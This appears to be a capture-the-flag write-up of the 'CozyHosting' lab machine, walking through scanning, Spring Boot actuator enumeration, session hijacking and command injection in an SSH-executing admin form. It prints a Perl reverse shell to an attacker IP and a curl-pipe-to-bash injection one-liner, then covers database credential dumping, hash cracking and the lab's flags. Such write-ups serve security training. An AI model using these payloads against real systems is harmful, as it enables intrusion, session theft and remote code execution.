Nmap Results
# Nmap 7.94SVN scan initiated Tue Feb 6 00:16:46 2024 as: nmap -Pn -p- --min-rate 5000 -A -oN nmap.txt 10.10.11.230
Nmap scan report for 10.10.11.230
Host is up (0.014s latency).
Not shown: 65527 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_ 256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
14223/tcp filtered unknown
15322/tcp filtered unknown
18052/tcp filtered unknown
40072/tcp filtered unknown
43923/tcp filtered unknown
47704/tcp filtered unknown
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=2/6%OT=22%CT=1%CU=35620%PV=Y%DS=2%DC=T%G=Y%TM=65C1C
OS:0E8%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)O
OS:PS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CS
OS:T11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)E
OS:CN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F
OS:=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5
OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z
OS:%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=
OS:N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%
OS:CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 19616/tcp)
HOP RTT ADDRESS
1 14.12 ms 10.10.14.1
2 14.16 ms 10.10.11.230
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Feb 6 00:17:28 2024 -- 1 IP address (1 host up) scanned in 42.27 seconds
Note the http://cozyhosting.htb
domain in the nmap
output. Let's go ahead and add that to our /etc/hosts
file.
echo '10.10.11.230 cozyhosting.htb' | sudo tee -a /etc/hosts
Service Enumeration
TCP/80
Gobuster Enumeration
gobuster dir -u http://cozyhosting.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -x html,php,txt -o gobuster-80.txt -t 100 -b 302 -b 404
/admin (Status: 401) [Size: 97]
/error (Status: 500) [Size: 73]
/index (Status: 200) [Size: 12706]
/login (Status: 200) [Size: 4431]
/logout (Status: 204) [Size: 0]
Fingerprinting the Application
I wasn't seeing much in terms of other virtual hosts or subdomains or interesting directories and files. At least not to the extent that I could gain any meaningful insight into the application. But as I poked around the web application, this error page seemed odd.
So, I turned to Google and searched for this error message, which seemed to suggest that this web page was running on top of Spring Boot.
From there, I ran yet another Google search trying to understand how Spring Boot might be exploitable. And of course, there is a HackTricks page on the topic.
Automating Actuator Testing
I found that the spring-boot.txt
GitHub link on the HackTricks page is a link to SecLists
, which I have installed on my Kali host. So I came up with a zsh
one-liner, to loop over the Spring Boot actuators list and see which one's produce any output.
for item in $(cat /usr/share/seclists/Discovery/Web-Content/spring-boot.txt) ; do \
url="http://cozyhosting.htb/$item"; \
output=$(curl -s $url 2>/dev/null | grep -v '"status":404') ; \
if [ "$output" ] ; \
then echo -e "$url\n" && echo -e "$(echo $output | json_pp)\n" ; \
fi ; \
done > actuators.txt
Session Hijacking
We are going to hijack the current session of the kanderson
user. To do this, we'll get the current JSESSIONID
token value from the Spring Boot actuator and paste that into our cookie in our browser.
curl http://cozyhosting.htb/actuator/sessions | json_pp | grep -v UNAUTHORIZED
Now, overwrite your cookie in your browser's developer tools:
- Click
CTRL + SHIFT + i
orF12
on your keyboard - Click on the
Application
tab - Double click the
Value
column of theJSESSIONID
row - Overwrite the contents of existing cookie with
kanderson
's session ID - Then, navigate to
http://cozyhosting.htb/admin
Continued Enumeration
There is a form in the admin panel that is supposed to enable automatic patching of hosts, provided that you pass a hostname
and username
. In the screenshot below, I tried localhost
and kanderson
respectively.
And, here is that request in Burp. We can see that when we click the Submit
button, this passes a HTTP POST
request to the /executessh
Spring Boot actuator (which is something I noticed earlier in actuators.txt
).
There are ssh
options you can pass on the command line, which would be useful in this case to disable host key checking. First, if we try this payload, we'll receive an error.
Passing the option like -o"StrictHostChecking=no"
is also valid syntax, so let's try that.
Interesting! We get a different error this time, so we should continue to try and build off this payload. I've been proxying these requests through, Burp so now would be a good time to pass this to Repeater
.
Looking for Command Injection
With the request highlighted, press CTRL + R
in Burp to send the request to Repeater
. The first thing I try is appending a %0a
to the end of the username
payload. This injects a new line.
We can see in the Location
header in the response, the Usage
output for the ssh
command; a very interesting finding. We get the same error if we simply specify username=%0a
, which again introduces a line feed. We can see there's a line 2: @localhost: command not found
error as well.
I finally found a way to get command injection! However, the output is minimal, so I need to refine the payload to see how I can possibly get more output. The trick in this case was to wrap the command to be run in a sub-shell, $(id)
.
ssh usage:
blurb by injecting 2>/dev/null
before the %0a
.Improving the Command Injection
username
field. I tried %20
, +
, and double-encoding characters, but could not get commands with whitespace to run. So, I turned to Google with yet another question.Using the answer on Stack Exchange, we can now run commands with spaces. As pictured below, the payload of username=2>/dev/null%0a$(cat${IFS%25??}/etc/passwd
allows us to run cat /etc/passwd
.
Looking for a way we can get a reverse shell on the host, we can enumerate which binaries are installed on the box with the which
command. As seen below which perl
resolves, as it's installed and in the user's $PATH
.
Exploit
The Spring Boot's sensitive actuators are world readable, which allows attackers to discover a session token for a logged in user. With this session token, an attacker can now act as an authenticated user to the application and make HTTP POST
requests to a Spring Boot actuator that allows command execution over SSH.
Create the Reverse Shell Payload
nano sh.pl
perl -e 'use Socket;$i="10.10.14.15";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
- Update the IP address and point it at your Kali VPN IP
- Update the TCP port that you plan to use for your listener
- I also changed
/bin/sh
to/bin/bash
Host and Run the Payload
Start the listener and host the sh.pl
file over HTTP
sudo rlwrap nc -lnvp 443
sudo python3 -m http.server
Now, paste the command to run on the target server using command injection
Repeater
tab in Burp or this one-liner I wroteLet me break down what this one-liner is doing:
curl -X POST http://cozyhosting.htb/executessh
makes aHTTP POST
request to the specified URL-H "Cookie: JSESSIONID=$(curl -s http://cozyhosting.htb/actuator/sessions | json_pp | grep kanderson | head -n 1 | cut -d ':' -f 1 | sed -E -e 's/\s{1,}//' -e 's/"//g')"
- Recall how earlier in the Session Hijacking step, we used
curl
andjson_pp
to find the session ID for thekanderson
user - All we're doing is repeating this, then piping the output to a series of commands to inject this session ID into the
Cookie
header
- Recall how earlier in the Session Hijacking step, we used
-d 'host=localhost&username=2>/dev/null%0a$(curl${IFS%25??}http://10.10.14.15/sh.pl|bash${IFS%25??}-)'
- This is the actual
HTTP POST
data being sent to the URL - Note the actual payload after
username=2>/dev/null%0A
that we found in the Burp Repeater testing - The payload itself is causing the target to
curl http://kali-vpn-ip/sh.pl
and then pipe that tobash
to execute theperl
script, where theperl
script is the reverse shell connecting back to thenc
socket
- This is the actual
Post-Exploit Enumeration
Operating Environment
OS & Kernel
Linux cozyhosting 5.15.0-82-generic #91-Ubuntu SMP Mon Aug 14 14:14:14 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
PRETTY_NAME="Ubuntu 22.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
Current User
uid=1001(app) gid=1001(app) groups=1001(app)
Users and Groups
Local Users
app:x:1001:1001::/home/app:/bin/sh
josh:x:1003:1003::/home/josh:/usr/bin/bash
Local Groups
app:x:1001:
josh:x:1003:
Network Configurations
Network Interfaces
eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:26:8f brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname ens160
inet 10.10.11.230/23 brd 10.10.11.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:268f/64 scope global dynamic mngtmpaddr
valid_lft 86396sec preferred_lft 14396sec
inet6 fe80::250:56ff:feb9:268f/64 scope link
valid_lft forever preferred_lft forever
Open Ports
ARP Table
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN -
tcp6 0 0 127.0.0.1:8080 :::* LISTEN 1065/java
Processes and Services
Interesting Services
cozyhosting.service loaded active running Cozy Hosting Web Page
Interesting Files
/app/cloudhosting-0.0.1.jar
cloudhosting-0.0.1.jar: Java archive data (JAR)
Privilege Escalation
Decompile the JAR file
sudo apt install -y jd-gui jadx
jd-gui cloudhosting-0.0.1.jar
Connect to the PostgreSQL Database
We use the -d cozyhosting
argument to specify the target database as noted in the connection string in the .jar
file, jdbc:postgresql://localhost:5432/cozyhosting
.
In psql
, the \dt
command will list the available tables in the database. You can press the q
key and then the Enter
(or Return
) key return to the prompt.
Then, the rest is standard SQL syntax, SELECT * FROM users;
.
Lateral to Josh
john --wordlist=rockyou.txt hash
The admin
hash cracked right away, but the password for kanderson
seems like it might not be in the rockyou.txt
list. Also, when I was looking at the /etc/passwd
list, there are no admin
nor kanderson
to be found, so they wouldn't authenticate against PAM anyway.
To my surprise, I tried su josh
and provided the admin
password to see if there is any password re-use and it worked! Always take a chance on the obvious.
And, this user does not have ssh
password authentication disabled.
Escalate to Root
Flags
User
90f99d3077594ee8aa6f9f5bcd8cad20
Root
7ddf72f9aa602bb7c96f0d9b6b10a09e